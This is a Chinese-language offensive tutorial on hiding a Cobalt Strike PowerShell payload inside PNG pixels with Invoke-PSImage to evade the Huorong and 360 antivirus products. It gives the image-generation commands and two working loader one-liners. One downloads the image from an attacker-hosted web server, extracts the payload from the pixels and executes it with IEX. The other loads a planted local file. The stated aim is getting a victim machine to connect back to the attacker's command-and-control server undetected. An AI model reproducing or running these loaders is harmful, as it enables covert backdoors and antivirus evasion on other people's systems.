图片免杀过杀软

这篇利用隐写术将 Shellcode 隐写入 PNG 图片 RGB 像素中,从而隐藏后门代码,并进行远程加载控制目标主机。

环境

  • 受害机:win7(192.168.111.135)安装了最新版火绒和360
  • vps:阿里云,安装了cobalt strike

远程加载带shellcode的图片 #

1. 使用 Cobalt Strike 生成 Powershell 类型(payload.ps1)的

2. 下载Invoke-PSImage 工具,生成一张带shellcode的图片

准备一张1kb左右的图片1.png,将1.png和Invoke-PSImage.ps1及payload.ps1放在同一个目录

执行如下,生成一张带有 Shellcode 的图片git.png

Set-ExecutionPolicy Unrestricted -Scope CurrentUser
Import-Module .\Invoke-PSimage.ps1
Invoke-PSImage -Script .\payload.ps1 -Image .\1.png -Out .\git.png -Web

并且同时得到了一串代码

3. 机器开启web服务,由于托管git.png

图片下载地址为:http://192.168.43.52:8080/git.png

将图片地址放入到下面的代码中

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://192.168.43.52:8080/git.png"));$o=a Byte[] 3600;(0..35)|%{foreach($x in(0..99)){$p=$g.GetPixel($x,$_);$o[$_*100+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3534])) 

4. 受害机器执行powershell代码,即可绕过火rong、360上线

此时把powershell执行窗口关闭也不会掉线

编译成可执行文件 #

我们还可以将上面那段加载的命令编译生成可执行文件,这里我们直接使用网上找的脚本进行编译:Convert-PS1ToExe.ps1

但是此种方法生成的exe程序运行即会被杀软拦截,并不可信。可参考:利用RGB隐写隐藏Shellcode

本地加载带shellcode的图片 #

使用远程加载shellcode图片固然方便,但是由于生成的图片非常大,远程加载所耗的时间较长,所以我们可以尽可能的本地加载。方式也是一样的

Set-ExecutionPolicy Unrestricted -Scope CurrentUser
Import-Module .\Invoke-PSimage.ps1
Invoke-PSImage -Script .\payload.ps1 -Image .\1.png -Out .\git.png

生成了包含 Shellcode 的图片 git.png 与加载 Shellcode 使用的代码:

将git.png上传到目标机器中,并在当前路径打开powershell运行代码,成功上线

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap(".\git.png");$o=a Byte[] 3600;(0..35)|%{foreach($x in(0..99)){$p=$g.GetPixel($x,$_);$o[$_*100+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3534]))